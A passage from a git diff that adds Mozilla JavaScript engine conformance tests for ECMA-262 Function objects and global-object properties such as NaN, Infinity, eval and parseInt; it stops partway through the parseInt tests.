+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+
+var SECTION = "15.3.3.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Function.length";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "Function.length", 1, Function.length );
+
+test();
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.4-1.js b/js/src/tests/ecma/FunctionObjects/15.3.4-1.js
new file mode 100644
index 000000000..49892a382
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.4-1.js
@@ -0,0 +1,60 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.4-1.js
+ ECMA Section: 15.3.4 Properties of the Function Prototype Object
+
+ Description: The Function prototype object is itself a Function
+ object ( its [[Class]] is "Function") that, when
+ invoked, accepts any arguments and returns undefined.
+
+ The value of the internal [[Prototype]] property
+ object is the Object prototype object.
+
+ It is a function with an "empty body"; if it is
+ invoked, it merely returns undefined.
+
+ The Function prototype object does not have a valueOf
+ property of its own; however it inherits the valueOf
+ property from the Object prototype Object.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+
+var SECTION = "15.3.4-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Properties of the Function Prototype Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var myfunc = Function.prototype; myfunc.toString = Object.prototype.toString; myfunc.toString()",
+ "[object Function]",
+ eval("var myfunc = Function.prototype; myfunc.toString = Object.prototype.toString; myfunc.toString()"));
+
+
+// new TestCase( SECTION, "Function.prototype.__proto__", Object.prototype, Function.prototype.__proto__ );
+
+new TestCase( SECTION,
+ "Function.prototype.valueOf",
+ Object.prototype.valueOf,
+ Function.prototype.valueOf );
+
+new TestCase( SECTION,
+ "Function.prototype()",
+ (void 0),
+ Function.prototype() );
+
+new TestCase( SECTION,
+ "Function.prototype(1,true,false,'string', new Date(),null)",
+ (void 0),
+ Function.prototype(1,true,false,'string', new Date(),null) );
+
+test();
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.4.1.js b/js/src/tests/ecma/FunctionObjects/15.3.4.1.js
new file mode 100644
index 000000000..e8f669d48
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.4.1.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.4.1.js
+ ECMA Section: 15.3.4.1 Function.prototype.constructor
+
+ Description: The initial value of Function.prototype.constructor
+ is the built-in Function constructor.
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+
+var SECTION = "15.3.4.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Function.prototype.constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "Function.prototype.constructor", Function, Function.prototype.constructor );
+
+test();
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.4.js b/js/src/tests/ecma/FunctionObjects/15.3.4.js
new file mode 100644
index 000000000..3ce16e9f5
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.4.js
@@ -0,0 +1,47 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.4.js
+ ECMA Section: 15.3.4 Properties of the Function Prototype Object
+
+ Description: The Function prototype object is itself a Function
+ object ( its [[Class]] is "Function") that, when
+ invoked, accepts any arguments and returns undefined.
+
+ The value of the internal [[Prototype]] property
+ object is the Object prototype object.
+
+ It is a function with an "empty body"; if it is
+ invoked, it merely returns undefined.
+
+ The Function prototype object does not have a valueOf
+ property of its own; however it inherits the valueOf
+ property from the Object prototype Object.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.3.4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Properties of the Function Prototype Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var myfunc = Function.prototype; myfunc.toString = Object.prototype.toString; myfunc.toString()",
+ "[object Function]",
+ eval("var myfunc = Function.prototype; myfunc.toString = Object.prototype.toString; myfunc.toString()"));
+
+
+// new TestCase( SECTION, "Function.prototype.__proto__", Object.prototype, Function.prototype.__proto__ );
+new TestCase( SECTION, "Function.prototype.valueOf", Object.prototype.valueOf, Function.prototype.valueOf );
+new TestCase( SECTION, "Function.prototype()", (void 0), Function.prototype() );
+new TestCase( SECTION, "Function.prototype(1,true,false,'string', new Date(),null)", (void 0), Function.prototype(1,true,false,'string', new Date(),null) );
+
+test();
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.5-1.js b/js/src/tests/ecma/FunctionObjects/15.3.5-1.js
new file mode 100644
index 000000000..b6561ab96
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.5-1.js
@@ -0,0 +1,83 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.5-1.js
+ ECMA Section: 15.3.5 Properties of Function Instances
+ new Function(p1, p2, ..., pn, body )
+
+ Description:
+
+ 15.3.5.1 length
+
+ The value of the length property is usually an integer that indicates
+ the "typical" number of arguments expected by the function. However,
+ the language permits the function to be invoked with some other number
+ of arguments. The behavior of a function when invoked on a number of
+ arguments other than the number specified by its length property depends
+ on the function.
+
+ 15.3.5.2 prototype
+ The value of the prototype property is used to initialize the internal [[
+ Prototype]] property of a newly created object before the Function object
+ is invoked as a constructor for that newly created object.
+
+ 15.3.5.3 arguments
+
+ The value of the arguments property is normally null if there is no
+ outstanding invocation of the function in progress (that is, the function has been called
+ but has not yet returned). When a non-internal Function object (15.3.2.1) is invoked, its
+ arguments property is "dynamically bound" to a newly created object that contains the
+ arguments on which it was invoked (see 10.1.6 and 10.1.8). Note that the use of this
+ property is discouraged; it is provided principally for compatibility with existing old code.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+
+var SECTION = "15.3.5-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Properties of Function Instances";
+
+writeHeaderToLog( SECTION + " "+TITLE);
+
+var args = "";
+
+for ( var i = 0; i < 2000; i++ ) {
+ args += "arg"+i;
+ if ( i != 1999 ) {
+ args += ",";
+ }
+}
+
+var s = "";
+
+for ( var i = 0; i < 2000; i++ ) {
+ s += ".0005";
+ if ( i != 1999 ) {
+ s += ",";
+ }
+}
+
+MyFunc = new Function( args, "var r=0; for (var i = 0; i < MyFunc.length; i++ ) { if ( eval('arg'+i) == void 0) break; else r += eval('arg'+i); }; return r");
+MyObject = new Function( args, "for (var i = 0; i < MyFunc.length; i++ ) { if ( eval('arg'+i) == void 0) break; eval('this.arg'+i +'=arg'+i); };");
+
+
+new TestCase( SECTION, "MyFunc.length", 2000, MyFunc.length );
+new TestCase( SECTION, "var MY_OB = eval('MyFunc(s)')", 1, eval("var MY_OB = MyFunc("+s+"); MY_OB") );
+new TestCase( SECTION, "MyFunc.prototype.toString()", "[object Object]", MyFunc.prototype.toString() );
+new TestCase( SECTION, "typeof MyFunc.prototype", "object", typeof MyFunc.prototype );
+
+
+new TestCase( SECTION, "MyObject.length", 2000, MyObject.length );
+
+new TestCase( SECTION, "FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1.length", 3, eval("FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1.length") );
+new TestCase( SECTION, "FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1()", 3, eval("FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1()") );
+new TestCase( SECTION, "FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1(1,2,3,4,5)", 3, eval("FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1(1,2,3,4,5)") );
+
+test();
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.5-2.js b/js/src/tests/ecma/FunctionObjects/15.3.5-2.js
new file mode 100644
index 000000000..50593481d
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.5-2.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.5-1.js
+ ECMA Section: 15.3.5 Properties of Function Instances
+ new Function(p1, p2, ..., pn, body )
+
+ Description:
+
+ 15.3.5.1 length
+
+ The value of the length property is usually an integer that indicates
+ the "typical" number of arguments expected by the function. However,
+ the language permits the function to be invoked with some other number
+ of arguments. The behavior of a function when invoked on a number of
+ arguments other than the number specified by its length property depends
+ on the function.
+
+ 15.3.5.2 prototype
+ The value of the prototype property is used to initialize the internal [[
+ Prototype]] property of a newly created object before the Function object
+ is invoked as a constructor for that newly created object.
+
+ 15.3.5.3 arguments
+
+ The value of the arguments property is normally null if there is no
+ outstanding invocation of the function in progress (that is, the function has been called
+ but has not yet returned). When a non-internal Function object (15.3.2.1) is invoked, its
+ arguments property is "dynamically bound" to a newly created object that contains the
+ arguments on which it was invoked (see 10.1.6 and 10.1.8). Note that the use of this
+ property is discouraged; it is provided principally for compatibility with existing old code.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+
+var SECTION = "15.3.5-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Properties of Function Instances";
+
+writeHeaderToLog( SECTION + " "+TITLE);
+
+var MyObject = new Function( 'a', 'b', 'c', 'this.a = a; this.b = b; this.c = c; this.value = a+b+c; this.valueOf = new Function( "return this.value" )' );
+
+new TestCase( SECTION, "MyObject.length", 3, MyObject.length );
+new TestCase( SECTION, "typeof MyObject.prototype", "object", typeof MyObject.prototype );
+new TestCase( SECTION, "typeof MyObject.prototype.constructor", "function", typeof MyObject.prototype.constructor );
+new TestCase( SECTION, "MyObject.arguments", null, MyObject.arguments );
+
+test();
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.5.1.js b/js/src/tests/ecma/FunctionObjects/15.3.5.1.js
new file mode 100644
index 000000000..5a6eb1451
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.5.1.js
@@ -0,0 +1,49 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.5.1.js
+ ECMA Section: Function.length
+ Description:
+
+ The value of the length property is usually an integer that indicates the
+ "typical" number of arguments expected by the function. However, the
+ language permits the function to be invoked with some other number of
+ arguments. The behavior of a function when invoked on a number of arguments
+ other than the number specified by its length property depends on the function.
+
+ this test needs a 1.2 version check.
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=104204
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.3.5.1";
+var VERSION = "ECMA_1";
+var TITLE = "Function.length";
+var BUGNUMBER="104204";
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var f = new Function( "a","b", "c", "return f.length");
+
+new TestCase( SECTION,
+ 'var f = new Function( "a","b", "c", "return f.length"); f()',
+ 3,
+ f() );
+
+
+new TestCase( SECTION,
+ 'var f = new Function( "a","b", "c", "return f.length"); f(1,2,3,4,5)',
+ 3,
+ f(1,2,3,4,5) );
+
+test();
+
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.5.3.js b/js/src/tests/ecma/FunctionObjects/15.3.5.3.js
new file mode 100644
index 000000000..6274d3101
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.5.3.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.5.3.js
+ ECMA Section: Function.arguments
+ Description:
+
+ The value of the arguments property is normally null if there is no
+ outstanding invocation of the function in progress (that is, the
+ function has been called but has not yet returned). When a non-internal
+ Function object (15.3.2.1) is invoked, its arguments property is
+ "dynamically bound" to a newly created object that contains the arguments
+ on which it was invoked (see 10.1.6 and 10.1.8). Note that the use of this
+ property is discouraged; it is provided principally for compatibility
+ with existing old code.
+
+ See sections 10.1.6 and 10.1.8 for more extensive tests.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.3.5.3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Function.arguments";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var MYFUNCTION = new Function( "return this.arguments" );
+
+new TestCase( SECTION, "var MYFUNCTION = new Function( 'return this.arguments' ); MYFUNCTION.arguments", null, MYFUNCTION.arguments );
+
+test();
diff --git a/js/src/tests/ecma/FunctionObjects/browser.js b/js/src/tests/ecma/FunctionObjects/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/browser.js
diff --git a/js/src/tests/ecma/FunctionObjects/shell.js b/js/src/tests/ecma/FunctionObjects/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/shell.js
diff --git a/js/src/tests/ecma/GlobalObject/15.1-1-n.js b/js/src/tests/ecma/GlobalObject/15.1-1-n.js
new file mode 100644
index 000000000..5f9e2128b
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/15.1-1-n.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1-1-n.js
+ ECMA Section: The global object
+ Description:
+
+ The global object does not have a [[Construct]] property; it is not
+ possible to use the global object as a constructor with the new operator.
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.1-1-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Global Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var MY_GLOBAL = new this()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "var MY_GLOBAL = new this()",
+ "error",
+ eval("var MY_GLOBAL = new this()") );
+
+test();
+
diff --git a/js/src/tests/ecma/GlobalObject/15.1-2-n.js b/js/src/tests/ecma/GlobalObject/15.1-2-n.js
new file mode 100644
index 000000000..4307914ca
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/15.1-2-n.js
@@ -0,0 +1,33 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1-2-n.js
+ ECMA Section: The global object
+ Description:
+
+ The global object does not have a [[Call]] property; it is not possible
+ to invoke the global object as a function.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.1-2-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Global Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var MY_GLOBAL = this()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "var MY_GLOBAL = this()",
+ "error",
+ eval("var MY_GLOBAL = this()") );
+test();
diff --git a/js/src/tests/ecma/GlobalObject/15.1.1.1.js b/js/src/tests/ecma/GlobalObject/15.1.1.1.js
new file mode 100644
index 000000000..b37eca384
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/15.1.1.1.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1.1.1.js
+ ECMA Section: 15.1.1.1 NaN
+
+ Description: The initial value of NaN is NaN.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.1.1.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "NaN";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( SECTION, "NaN", Number.NaN, NaN );
+new TestCase( SECTION, "this.NaN", Number.NaN, this.NaN );
+new TestCase( SECTION, "typeof NaN", "number", typeof NaN );
+
+test();
diff --git a/js/src/tests/ecma/GlobalObject/15.1.1.2.js b/js/src/tests/ecma/GlobalObject/15.1.1.2.js
new file mode 100644
index 000000000..970b38475
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/15.1.1.2.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1.1.2.js
+ ECMA Section: 15.1.1.2 Infinity
+
+ Description: The initial value of Infinity is +Infinity.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.1.1.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Infinity";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "Infinity", Number.POSITIVE_INFINITY, Infinity );
+new TestCase( SECTION, "this.Infinity", Number.POSITIVE_INFINITY, this.Infinity );
+new TestCase( SECTION, "typeof Infinity", "number", typeof Infinity );
+
+test();
diff --git a/js/src/tests/ecma/GlobalObject/15.1.2.1-2.js b/js/src/tests/ecma/GlobalObject/15.1.2.1-2.js
new file mode 100644
index 000000000..3737275aa
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/15.1.2.1-2.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1.2.1-2.js
+ ECMA Section: 15.1.2.1 eval(x)
+
+ Parse x as an ECMAScript Program. If the parse fails,
+ generate a runtime error. Evaluate the program. If
+ result is "Normal completion after value V", return
+ the value V. Else, return undefined.
+ Description:
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.1.2.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "eval(x)";
+var BUGNUMBER = "none";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "d = new Date(0); with (d) { x = getUTCMonth() +'/'+ getUTCDate() +'/'+ getUTCFullYear(); } x",
+ "0/1/1970",
+ eval( "d = new Date(0); with (d) { x = getUTCMonth() +'/'+ getUTCDate() +'/'+ getUTCFullYear(); } x" ));
+
+test();
diff --git a/js/src/tests/ecma/GlobalObject/15.1.2.2-1.js b/js/src/tests/ecma/GlobalObject/15.1.2.2-1.js
new file mode 100644
index 000000000..5e6a57f36
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/15.1.2.2-1.js
@@ -0,0 +1,363 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1.2.2-1.js
+ ECMA Section: 15.1.2.2 Function properties of the global object
+ parseInt( string, radix )
+
+ Description:
+
+ The parseInt function produces an integer value dictated by intepretation
+ of the contents of the string argument according to the specified radix.
+
+ When the parseInt function is called, the following steps are taken:
+
+ 1. Call ToString(string).
+ 2. Compute a substring of Result(1) consisting of the leftmost character
+ that is not a StrWhiteSpaceChar and all characters to the right of
+ that character. (In other words, remove leading whitespace.)
+ 3. Let sign be 1.
+ 4. If Result(2) is not empty and the first character of Result(2) is a
+ minus sign -, let sign be -1.
+ 5. If Result(2) is not empty and the first character of Result(2) is a
+ plus sign + or a minus sign -, then Result(5) is the substring of
+ Result(2) produced by removing the first character; otherwise, Result(5)
+ is Result(2).
+ 6. If the radix argument is not supplied, go to step 12.
+ 7. Call ToInt32(radix).
+ 8. If Result(7) is zero, go to step 12; otherwise, if Result(7) < 2 or
+ Result(7) > 36, return NaN.
+ 9. Let R be Result(7).
+ 10. If R = 16 and the length of Result(5) is at least 2 and the first two
+ characters of Result(5) are either "0x" or "0X", let S be the substring
+ of Result(5) consisting of all but the first two characters; otherwise,
+ let S be Result(5).
+ 11. Go to step 22.
+ 12. If Result(5) is empty or the first character of Result(5) is not 0,
+ go to step 20.
+ 13. If the length of Result(5) is at least 2 and the second character of
+ Result(5) is x or X, go to step 17.
+ 14. Let R be 8.
+ 15. Let S be Result(5).
+ 16. Go to step 22.
+ 17. Let R be 16.
+ 18. Let S be the substring of Result(5) consisting of all but the first
+ two characters.
+ 19. Go to step 22.
+ 20. Let R be 10.
+ 21. Let S be Result(5).
+ 22. If S contains any character that is not a radix-R digit, then let Z be
+ the substring of S consisting of all characters to the left of the
+ leftmost such character; otherwise, let Z be S.
+ 23. If Z is empty, return NaN.
+ 24. Compute the mathematical integer value that is represented by Z in
+ radix-R notation. (But if R is 10 and Z contains more than 20
+ significant digits, every digit after the 20th may be replaced by a 0
+ digit, at the option of the implementation; and if R is not 2, 4, 8,
+ 10, 16, or 32, then Result(24) may be an implementation-dependent
+ approximation to the mathematical integer value that is represented
+ by Z in radix-R notation.)
+ 25. Compute the number value for Result(24).
+ 26. Return sign Result(25).
+
+ Note that parseInt may interpret only a leading portion of the string as
+ an integer value; it ignores any characters that cannot be interpreted as
+ part of the notation of an integer, and no indication is given that any
+ such characters were ignored.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.1.2.2-1";
+var VERSION = "ECMA_1";
+var TITLE = "parseInt(string, radix)";
+var BUGNUMBER = "none";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var HEX_STRING = "0x0";
+var HEX_VALUE = 0;
+
+new TestCase( SECTION,
+ "parseInt.length",
+ 2,
+ parseInt.length );
+
+new TestCase( SECTION,
+ "parseInt.length = 0; parseInt.length",
+ 2,
+ eval("parseInt.length = 0; parseInt.length") );
+
+new TestCase( SECTION,
+ "var PROPS=''; for ( var p in parseInt ) { PROPS += p; }; PROPS", "",
+ eval("var PROPS=''; for ( var p in parseInt ) { PROPS += p; }; PROPS") );
+
+new TestCase( SECTION,
+ "parseInt()",
+ NaN,
+ parseInt() );
+
+new TestCase( SECTION,
+ "parseInt('')",
+ NaN,
+ parseInt("") );
+
+new TestCase( SECTION,
+ "parseInt('','')",
+ NaN,
+ parseInt("","") );
+
+new TestCase( SECTION,
+ "parseInt(\" 0xabcdef ",
+ 11259375,
+ parseInt( " 0xabcdef " ));
+
+new TestCase( SECTION,
+ "parseInt(\" 0XABCDEF ",
+ 11259375,
+ parseInt( " 0XABCDEF " ) );
+
+new TestCase( SECTION,
+ "parseInt( 0xabcdef )",
+ 11259375,
+ parseInt( "0xabcdef") );
+
+new TestCase( SECTION,
+ "parseInt( 0XABCDEF )",
+ 11259375,
+ parseInt( "0XABCDEF") );
+
+for ( HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) {
+ new TestCase( SECTION, "parseInt('"+HEX_STRING+"')", HEX_VALUE, parseInt(HEX_STRING) );
+ HEX_VALUE += Math.pow(16,POWER)*15;
+}
+for ( HEX_STRING = "0X0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) {
+ new TestCase( SECTION, "parseInt('"+HEX_STRING+"')", HEX_VALUE, parseInt(HEX_STRING) );
+ HEX_VALUE += Math.pow(16,POWER)*15;
+}
+for ( HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) {
+ new TestCase( SECTION, "parseInt('"+HEX_STRING+"', 16)", HEX_VALUE, parseInt(HEX_STRING,16) );
+ HEX_VALUE += Math.pow(16,POWER)*15;
+}
+for ( HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) {
+ new TestCase( SECTION, "parseInt('"+HEX_STRING+"', 16)", HEX_VALUE, parseInt(HEX_STRING,16) );
+ HEX_VALUE += Math.pow(16,POWER)*15;
+}
+for ( HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) {
+ new TestCase( SECTION, "parseInt('"+HEX_STRING+"', null)", HEX_VALUE, parseInt(HEX_STRING,null) );
+ HEX_VALUE += Math.pow(16,POWER)*15;
+}
+for ( HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) {
+ new TestCase( SECTION, "parseInt('"+HEX_STRING+"', void 0)", HEX_VALUE, parseInt(HEX_STRING, void 0) );
+ HEX_VALUE += Math.pow(16,POWER)*15;
+}
+
+// a few tests with spaces
+
+for ( var space = " ", HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0;
+ POWER < 15;
+ POWER++, HEX_STRING = HEX_STRING +"f", space += " ")
+{
+ new TestCase( SECTION, "parseInt('"+space+HEX_STRING+space+"', void 0)", HEX_VALUE, parseInt(space+HEX_STRING+space, void 0) );
+ HEX_VALUE += Math.pow(16,POWER)*15;
+}
+
+new TestCase(SECTION, "parseInt(BOM + '123', 10)", 123, parseInt("\uFEFF" + "123", 10));
+
+// a few tests with negative numbers
+for ( HEX_STRING = "-0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) {
+ new TestCase( SECTION, "parseInt('"+HEX_STRING+"')", HEX_VALUE, parseInt(HEX_STRING) );
+ HEX_VALUE -= Math.pow(16,POWER)*15;
+}
+
+// we should stop parsing when we get to a value that is not a numeric literal for the type we expect
+
+for ( HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) {
+ new TestCase( SECTION, "parseInt('"+HEX_STRING+"g', 16)", HEX_VALUE, parseInt(HEX_STRING+"g",16) );
+ HEX_VALUE += Math.pow(16,POWER)*15;
+}
+for ( HEX_STRING = "0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) {
+ new TestCase( SECTION, "parseInt('"+HEX_STRING+"G', 16)", HEX_VALUE, parseInt(HEX_STRING+"G",16) );
+ HEX_VALUE += Math.pow(16,POWER)*15;
+}
+
+for ( HEX_STRING = "-0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) {
+ new TestCase( SECTION, "parseInt('"+HEX_STRING+"')", HEX_VALUE, parseInt(HEX_STRING) );
+ HEX_VALUE -= Math.pow(16,POWER)*15;
+}
+for ( HEX_STRING = "-0X0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) {
+ new TestCase( SECTION, "parseInt('"+HEX_STRING+"')", HEX_VALUE, parseInt(HEX_STRING) );
+ HEX_VALUE -= Math.pow(16,POWER)*15;
+}
+for ( HEX_STRING = "-0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) {
+ new TestCase( SECTION, "parseInt('"+HEX_STRING+"', 16)", HEX_VALUE, parseInt(HEX_STRING,16) );
+ HEX_VALUE -= Math.pow(16,POWER)*15;
+}
+for ( HEX_STRING = "-0x0", HEX_VALUE = 0, POWER = 0; POWER < 15; POWER++, HEX_STRING = HEX_STRING +"f" ) {
+ new TestCase( SECTION, "parseInt('"+HEX_STRING+"', 16)", HEX_VALUE, parseInt(HEX_STRING,16) );
+ HEX_VALUE -= Math.pow(16,POWER)*15;
+}
+
+// Numbers that start with 0 and do not provide a radix should use 10 as radix
+// per ES5, not octal (as it was in ES3).
+
+var OCT_STRING = "0";
+var OCT_VALUE = 0;
+
+for ( OCT_STRING = "0", OCT_VALUE = 0, POWER = 0; POWER < 15; POWER++, OCT_STRING = OCT_STRING +"7" ) {
